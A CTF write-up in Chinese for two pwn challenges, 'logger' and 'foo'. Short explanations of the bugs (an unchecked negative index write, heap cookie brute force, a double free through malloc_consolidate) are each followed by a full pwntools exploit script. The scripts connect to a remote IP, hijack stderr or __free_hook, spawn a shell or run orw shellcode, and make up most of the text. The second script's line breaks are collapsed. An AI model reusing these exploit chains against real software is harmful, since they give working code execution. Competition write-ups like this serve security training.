PWN
logger
第一次输入Warning时栈上有残留信息,以此leak出libc地址。
Warning_once会对0x67f7b0+idx处地址写入一个值(该值为输入data的长度),并且idx未检查,可以输入负数溢出。
通过劫持stderr到bss上,布置好函数表,退出时会用到stderr,用system调用shell即可。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151
| from pwn import *
p = remote("39.105.35.195","12432")
libc = ELF("logger").libc
def Warning1(data):
p.recvuntil("4. Exit")
p.sendline("1")
p.recvuntil("Content:")
p.send(data)
def Warning_once1(data,idx):
p.recvuntil("4. Exit")
p.sendline("2")
p.recvuntil("Content:")
p.send(data)
p.recvuntil("ID:")
p.send(str(idx))
def error1(data):
p.recvuntil("4. Exit")
p.sendline("3")
p.recvuntil("Content:")
p.send(data)
one = [0x45226,0x4527a,0xf0364,0xf1207]
Warning1("a"*56)
p.recvuntil("a"*56)
libc_base = u64(p.recv(6)+'\x00\x00')-0x3A2A9
print hex(libc_base)
one_gadget = libc_base +libc.sym['system']
Warning_once1("1"*(one_gadget&0xff),0)
Warning_once1("1"*((one_gadget>>8)&0xff),1)
Warning_once1("1"*((one_gadget>>16)&0xff),2)
Warning_once1("1"*((one_gadget>>24)&0xff),3)
Warning_once1("1"*((one_gadget>>32)&0xff),4)
Warning_once1("1"*((one_gadget>>40)&0xff),5)
Warning_once1("1"*(ord('s')),0x10+0)
Warning_once1("1"*(ord('h')),0x10+1)
Warning_once1("1"*(0xc0),-0x10)
Warning_once1("1"*(0xF7),-0x10+1)
Warning_once1("1"*(0x67),-0x10+2)
Warning_once1("1"*(0x100),-0x10+3)
Warning_once1("1"*(0x100),-0x10+4)
Warning_once1("1"*(0x100),-0x10+5)
Warning_once1("1"*(0xb0-8),0x98)
Warning_once1("1"*(0xF7),0x98+1)
Warning_once1("1"*(0x67),0x98+2)
Warning_once1("1"*(0x100),0x98+3)
Warning_once1("1"*(0x100),0x98+4)
Warning_once1("1"*(0x100),0x98+5)
Warning_once1("1"*(0xb0-0x38),0xe8)
Warning_once1("1"*(0xF8),0xe8+1)
Warning_once1("1"*(0x67),0xe8+2)
Warning_once1("1"*(0x100),0xe8+3)
Warning_once1("1"*(0x100),0xe8+4)
Warning_once1("1"*(0x100),0xe8+5)
Warning_once1("1"*(one_gadget&0xff),0x100+0)
Warning_once1("1"*((one_gadget>>8)&0xff),0x100+1)
Warning_once1("1"*((one_gadget>>16)&0xff),0x100+2)
Warning_once1("1"*((one_gadget>>24)&0xff),0x100+3)
Warning_once1("1"*((one_gadget>>32)&0xff),0x100+4)
Warning_once1("1"*((one_gadget>>40)&0xff),0x100+5)
p.recvuntil("4. Exit")
p.sendline("4")
p.interactive()
|
foo
用seccomp初始化沙盒,所以堆上会残留信息,以此来leak出libc地址。
接着逐位爆破cookie。
然后利用malloc_consolidate机制,将0x40的堆块合并到topchunk中,再进行guess申请到该地址,并将0x28偏移处改为cookie,即可构成double free。
继续操作将该堆块合并进top chunk中,接着再依次进行申请堆块以及guess即可写fd,通过此操作劫持__free_hook
。
将__free_hook
修改为printf即可用格式化字符串来进行leak操作。
操作完毕后0x190的tcache中会存在两个相邻的0x40的堆块,通过guess溢出第二个堆块到第一个堆块的fd,将其修改为页对齐的地址。接着申请到该地址到idx为7处,并修改__free_hook
为mprotect。接着free(7),即会将该地址设置为可读写操作。
最后将__free_hook
为下一申请到的0x190的堆块地址,并用guess在此堆块上写入shellcode进行orw。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145
| from pwn import *
p = remote("39.105.35.195","13452") libc = ELF("./libc.so") def add(idx): p.recvuntil("Your choice: ") p.sendline("1") p.recvuntil("Index: ") p.sendline(str(idx)) def edit(idx,data): p.recvuntil("Your choice: ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Content: ") p.send(data) def show(idx): p.recvuntil("Your choice: ") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(idx)) def free(idx): p.recvuntil("Your choice: ") p.sendline("4") p.recvuntil("Index: ") p.sendline(str(idx)) def guess(data): p.recvuntil("Your choice: ") p.sendline("5") p.recvuntil("Want the cookie? ") p.send(data) p.sendline("1"*0x800) add(0) show(0) p.recvuntil("Content: ") libc_base = u64(p.recv(6)+'\x00\x00')-0x3EBCD0 print hex(libc_base) libc.address =libc_base
cookie = 0 for i in range(0x100): add(0) edit(0,'\x00'*0x28+p64(i)[0]) show(0) s = p.recvuntil("6. exit") if 'Content: ' in s: cookie += i break print hex(cookie) for i in range(1,0x100): add(0) edit(0,'\x00'*0x28+p64(i*0x100+cookie)[:2]) show(0) s = p.recvuntil("6. exit") if 'Content: ' in s: cookie += i*0x100 break print hex(cookie) for i in range(1,0x100): add(0) edit(0,'\x00'*0x28+p64(i*0x10000+cookie)[:3]) show(0) s = p.recvuntil("6. exit") if 'Content: ' in s: cookie += i*0x10000 break print hex(cookie) for i in range(1,0x100): add(0) edit(0,'\x00'*0x28+p64(i*0x1000000+cookie)[:4]) show(0) s = p.recvuntil("6. exit") if 'Content: ' in s: cookie += i*0x1000000 break print hex(cookie) for i in range(8): add(i) for i in range(7): free(6-i) free(7) for i in range(7): p.sendline("1"*0x800) guess('\x00'*0x28+p32(cookie)) free(7) for i in range(1,9): add(i) show(2) p.recvuntil("Content: ") heap = u64(p.recv(6)+'\x00\x00') print hex(heap)
free(6) free(7) free(8) guess('\x00'*0x28+p32(cookie)) add(0) add(0)
edit(0,p64(libc.sym['__free_hook'])) add(0) add(0) edit(0,p64(libc.sym['printf'])) edit(1,'%p%14$p') free(1) p.recvuntil("0x") pie = int(p.recv(12),16)-0xFCF p.recvuntil("0x") stack = int(p.recv(12),16)
print hex(stack) print hex(pie) edit(0,p64(0)) guess('\x00'*0x28+p32(cookie)) guess(p64(0)*7+p64(0x41)+p64((heap&0xffffffffff000))) add(7) add(7) add(7) edit(0,p64(libc.sym['mprotect'])) free(7) edit(0,p64(heap+0x180))
shellcode = ''' mov rax,2 mov rdi,'''+str(heap+0x180+0x100)+''' mov rsi,0 mov rdx,0 syscall
mov rax,0 mov rsi,'''+str(heap+0x180+0x200)+''' mov rdi,3 mov rdx,0x100 syscall
mov rax,1 mov rsi,'''+str(heap+0x180+0x200)+''' mov rdi,1 mov rdx,0x100 syscall ''' shellcode = asm(shellcode,arch='amd64') guess(shellcode.ljust(0x100,'\x00')+'flag\x00') p.interactive()
|